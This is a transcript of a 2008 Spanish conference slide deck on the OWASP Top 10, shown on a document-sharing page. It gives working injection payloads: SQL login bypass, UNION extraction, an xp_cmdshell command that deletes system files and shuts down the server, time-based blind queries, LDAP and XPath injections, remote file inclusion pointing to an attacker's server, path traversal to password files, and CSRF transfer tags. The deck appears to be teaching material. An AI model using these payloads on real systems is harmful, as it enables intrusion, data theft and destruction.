+ All Categories
Home > Technology > Charla OWASP

Charla OWASP

Date post: 12-Jun-2015
Category:
Upload: alexav8
View: 996 times
Download: 2 times
Share this document with a friend
Description:
la charla que dio Chema Alonso en la UBA el martes 8 de abril de 2008
Popular Tags:
30
12/04/2008 1 The Open Web Application Security Project THE TEN MOST CRITICAL WEB APPLICATION SECURITY VULNERABILITIES http://www.owasp.org/images/e/e8/OWASP_Top_1 0_2007.pdf
Transcript
Page 1: Charla OWASP

12/04/2008

1

The Open Web Application Security Project

THE TEN MOST CRITICAL WEB APPLICATION SECURITY VULNERABILITIES

►http://www.owasp.org/images/e/e8/OWASP_Top_10_2007.pdf

Page 2: Charla OWASP

12/04/2008

2

► http://elladodelmal.blogspot.com/2007/08/hijacking-en-slashdot-step-by-step.html

Page 3: Charla OWASP

12/04/2008

3

►SQL Injection

►LDAP Injection

►Xpath Injection

►…Y a ciegas…

►Blind SQL Injection

►Blind LDAP Injection

►Blind XPAth Injection

►Aplicaciones con mala comprobación de datos de entrada.

� Datos de usuario.

�Formularios

oText

oPassword

oTextarea

oList

omultilist

� Datos de llamadas a procedimientos.

�Links

�Funciones Scripts

�Actions

►Datos de usuario utilizados en consultas a base de datos.

►Mala construcción de consultas a bases de datos.

Page 4: Charla OWASP

12/04/2008

4

►Permiten al atacante:

�Saltar restricciones de acceso.

�Elevación de privilegios.

�Extracción de información de la Base de Datos

�Parada de SGBDR.

�Ejecución de comandos en contexto usuario bd dentro del servidor.

►Ejemplo 1:

�Autenticación de usuario contra base de datos.

Select idusuario from tabla_usuarios

Where nombre_usuario=‘$usuario’

And clave=‘$clave’;

Usuario

Clave ****************************************************************

Page 5: Charla OWASP

12/04/2008

5

►Ejemplo 1 (cont)

Select idusuario from tabla_usuarios

Where nombre_usuario=‘Administrador’

And clave=‘’ or ‘1’=‘1’;

Usuario

Clave

Administrador

‘ or ‘1’=‘1‘ or ‘1’=‘1‘ or ‘1’=‘1‘ or ‘1’=‘1

►Ejemplo 2:

�Acceso a información con procedimientos de listado.

http://www.miweb.com/prog.asp?parametro1=hola

Ó

http://www.miweb.com/prog.asp?parametro1=1

Page 6: Charla OWASP

12/04/2008

6

►Ejemplo 2 (cont):

http://www.miweb.com/prog.asp?parametro1=‘ union select nombre, clave,1,1,1 from tabla_usuarios; otra instrucción; xp_cmdshell(“del c:\boot.ini”); shutdown --

Ó

http://www.miweb.com/prog.asp?parametro1=-1 union select .....; otra instrucción; --

►Escrita por Francisco Amato

►Obtener la estructura y datos completa de la BBDD.

�1 Injección para la estructura

�1 post para cada fila

�Totalmente automática

►Soporta “n” bases de datos.

►Descargable (app y source)

�http://www.infobyte.com.ar

Page 7: Charla OWASP

12/04/2008

7

►Programa.asp?id=218 and 1=(select top 1 name from sysusers order by 1 desc)

►Microsoft OLE DB Provider for SQL Server error '80040e07' Conversion failed when converting the nvarchar value'sys' to data type int. /Programa.asp, line 8

►Programa.asp?id=218 and 1=(select top 1 name from sysusers where name<’sys’ order by 1 desc)

Page 8: Charla OWASP

12/04/2008

8

Page 9: Charla OWASP

12/04/2008

9

►La aplicación Web no muestra ningún mensaje de error.

►La aplicación no procesa nuestros comandos

�Select titulo from tabla where param=$param

►Se inyecta comandos y se busca hacer preguntas de Verdad o Mentira. Ejemplo:

�http://server/miphp.php?id=1 and 1=1

�http://server/miphp.php?id=1 and 1=2

Page 10: Charla OWASP

12/04/2008

10

►¿Como reconocer un falso?

�Da un código de error

�Da una página de error

�Cambia el hash de la firma

�Cambia el árbol html

�Tarda más en responder

►Si la página reacciona de forma diferente a la Verdad y a la Mentira, entonces podemos extraer datos haciendo búsquedas:

�http://server/miphp.php?id=1 and 300>(selectascii(substring(username,1,1) from all_users where rownum<=1)

Page 11: Charla OWASP

12/04/2008

11

►Si el contenido de la respuesta es idéntico en ambos casos, aún es posible conseguir nuestro objetivo variando condicionalmente el tiempo de respuesta del servidor

�Si la condición inyectada es verdadera, la aplicación tardará unos segundos en contestar

�Si la condición es falsa, la aplicación devolverá la misma respuesta, pero en el tiempo habitual

►Podemos utilizar las mismas técnicas de inyección descritas anteriormente

21

►¿Cómo podemos conseguir el retardo?

�Utilizando instrucciones de retardo implementadas en el propio gestor de bases de datos

�SQL Server: waitfor delay

�Oracle: dbms_lock.sleep

�MySQL: sleep

�Utilizando consultas pesadas que consuman muchos recursos del servidor (CPU o memoria)

�CROSS JOIN que involucren muchas tablas

�De cualquier otra forma (ej: xp_cmdshell 'ping…')

22

Page 12: Charla OWASP

12/04/2008

12

►Instrucciones de retardo del propio SGBD

�Microsoft SQL Server

�; if (exists(select * from contrasena)) waitfor delay '0:0:5'

�Oracle

�; begin if (condicion) then dbms_lock.sleep(5); end if; end;

�MySQL (versión 5)

�and exists(select * from contrasena) and sleep(5)

�and exists(select * from contrasena) and benchmark(5000000,md5(rand()))=0

�Microsoft Access no tiene instrucciones de retardo

23

http://elladodelmal.blogspot.com/2007/06/blind-sql-injection-ii-de-hackeando-un.html

Page 13: Charla OWASP

12/04/2008

13

►Consultas pesadas

�La clave para generar consultas pesadas está en realizar múltiples operaciones CROSS JOIN

�Ejemplo: Una tabla con 4 registros y 2 columnas combinada consigo misma 10 veces, genera un resultado de 20 columnas y más de un millón de filas

JoinsJoins FilasFilas ColumnasColumnas

1 4 2

2 16 4

3 64 6

4 256 8

5 1024 10

►Consultas pesadas: estructura

�SELECT COUNT(*) FROM tabla T1, tabla T2, …, tabla Tn

�Donde el número de tablas implicadas en el producto cartesiano (CROSS JOIN) sea suficientemente grande como para generar un retardo medible

�Dependiendo del SGDB y de cómo realice la comprobación de las condiciones lógicas introducidas con AND, deberemos establecer nuestra subconsultaSQL antes o después del operador lógico

�AND subconsulta AND consulta_pesada

�AND consulta_pesada AND subconsulta

�http://www.microsoft.com/latam/technet/articulos/articulos_seguridad/2007/septiembre/sv0907.mspx

26

Page 14: Charla OWASP

12/04/2008

14

►Consultas pesadas: tablas recomendadas

�Microsoft SQL Server

�sysusers

�Oracle

�all_users

�MySQL (versión 5)

�information_schema.columns

�Microsoft Access

�MSysAccessObjects (versiones 97 y 2000)

�MSysAccessStorage (versiones 2003 y 2007)

27

Verdad: La consulta dura 6 segundos.

Page 15: Charla OWASP

12/04/2008

15

Falso: La consulta dura 1 segundo.

Page 16: Charla OWASP

12/04/2008

16

Page 17: Charla OWASP

12/04/2008

17

►Absinthe: Extrae toda la información de bases de datos MSSQL, PostgreSQL, Sybase y Oracle utilizando suma linear de valores ASCII.

►Absinthe: Extrae toda la información de bases de datos MSSQL, PostgreSQL, Sybase y Oracle utilizando suma linear de valores ASCII.

Page 18: Charla OWASP

12/04/2008

18

Page 19: Charla OWASP

12/04/2008

19

Page 20: Charla OWASP

12/04/2008

20

►Sniffing de Passwords LDAP

►Recogida de certificados servidores LDAP-s

►MITM LDAP-s

►LDAP: Base de datos Jerarquica

�Clases

�Objetos

�Herencia

�Contenedores

►Búsqueda: LDAP Search Filters

Page 21: Charla OWASP

12/04/2008

21

filter = LPAREN filtercomp RPAREN

filtercomp = and / or / not / item

and = AMPERSAND filterlist

or = VERTBAR filterlist

not = EXCLAMATION filter

filterlist = 1*filter

item = simple / present / substring / extensible

simple = attr filtertype assertionvalue

filtertype = equal / approx / greaterorequal / lessorequal

equal = EQUALS

approx = TILDE EQUALS

greaterorequal = RANGLE EQUALS lessorequal = LANGLE EQUALS

(&(atributo1=valor1)(atributo2=valor2))

Ejemplo:

(&(directorio=nombre_directorio)(nivel_seguridad=bajo))

Inyección:

(&(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Page 22: Charla OWASP

12/04/2008

22

(|(atributo1=valor1)(atributo2=valor2))

Ejemplo:

(|(cn=D*)(ou=Groups))

Inyección:

(|(cn=void)(uid=*))(ou=Groups))

►Tiene lógica binaria

►Tiene soporte para booleanización:

�Comodín: *

�Reducción charset: *a*

�Despliegue: a*

�Relacionales:

�>=

�<=

�~=

�=

Page 23: Charla OWASP

12/04/2008

23

►Certezas absolutas (RFC 4256)

�Absolute FALSE (|)

�Absolute TRUE (&)

►Anomalías:

�¿NOT absoluto? (!) -> equivalente a !

�Caracteres fuera del alfabeto

�Ñ* -> equivalente a *

�Ç* -> equivalente a *

�** -> equivalente a ¡¡ERROR!!

Page 24: Charla OWASP

12/04/2008

24

Explotación

Dada la siguiente consulta Xpath:

Inyectamos:

La condición quedaría:

User: abc' or 1=1 or 'a'='b

Pass: k

username/text()=‘abc' or 1=1 or 'a'='b' and password/text()=‘k'

string(//user[username/text()=‘romansoft' and password/text()='!dSR']/uid/text())

Condición Qué devolverDónde buscar

►Vulnerabilidad propia de páginas PHP dinámicas que permite enlace de archivos remotos situados en otros servidores

►Se debe a una mala programación o uso de la función include()

►Esta vulnerabilidad no se da en páginas programadas en un lenguaje que no permita la inclusión de ficheros ajenos al servidor

Page 25: Charla OWASP

12/04/2008

25

►La vulnerabilidad es producida por código semejante a este

►En páginas de este tipo se puede incluir ficheros que estén en nuestro servidor

$page = $_GET['page'];include($page);

http://victima.com/pagvuln.php?page=http://[misitio]/miFichero

►Existen herramientas que permite explorar un sitio Web en busca de este tipo de vulnerabilidades (rpvs)

Page 26: Charla OWASP

12/04/2008

26

►Mediante las shell PHP se pueden ejecutar comandos en una página Web

►Usando RFI se puede incluir un fichero que ejecute comandos, tales como listar directorios, obtener y colocar ficheros, etc.

►http://www.acamandola.com/safe.txt

►“El cucharón”

�Rutas a ficheros no controladas

�File=../../../../etc/passw

�id=…/../windows/repair/sam

Page 27: Charla OWASP

12/04/2008

27

►Session Riding, One-Click Attacks, Cross Site Reference Forgery, Hostile Linking, Automation Attack o XSRF.

►Por medio de una injección se fuerza la ejecución de acciones automáticas por parte del usuario.

<img src="http://www.example.com/logout.php">

<img src="http://www.example.com/transfer.do?

frmAcct=document.form.frmAcct &toAcct=4345754

&toSWIFTid=434343&amt=3434.43">

Page 28: Charla OWASP

12/04/2008

28

►Se deja información sensible sin asegurar

►Se muestran mensajes de error detallados

►7.- Autenticación Rota y Gestión de Sesión

�Partes sin comprobar autenticación

�No procesos de logout seguro.

►8.- Almacenamiento con Criptografía insegura

�Datos sin cifrar o mal cifrados

►9.- Comunicaciones Inseguras

►10.-URLs mal restringidas

�Pueden ser adivinadas o “bruteforceadas”

Page 29: Charla OWASP

12/04/2008

29

►Chema Alonso

[email protected]

►http://elladodelmal.blogspot.com

►http://www.informatica64.com

►Francisco Amato

►Infobyte

[email protected]

►http://www.infobyte.com.ar

November 2006 58

Technews I64. Suscríbete Gratis en

http://www.informatica64.com/boletines

Page 30: Charla OWASP

12/04/2008

30

Blind SQL Injection

http://elladodelmal.blogspot.com/2007/07/proteccin-contra-las-tcnicas-de-blind.html

Time-Bases Blind SQL Injection with heavy Queries

http://www.microsoft.com/latam/technet/articulos/articulos_seguridad/2007/septiembre/sv0907.mspx

LDAP Injection & Blind LDAP Injection

http://elladodelmal.blogspot.com/2007/10/ldap-injection-blind-ldap-injection_9021.html

XPath injection in XML databases

http://palisade.plynt.com/issues/2005Jul/xpath-injection/

Blind XPath Injection

http://packetstormsecurity.org/papers/bypass/Blind_XPath_Injection_20040518.pdf

► Milw0rm (Webapps exploits)

http://milw0rm.com/webapps.php

- OWASP

http://www.owasp.org


Recommended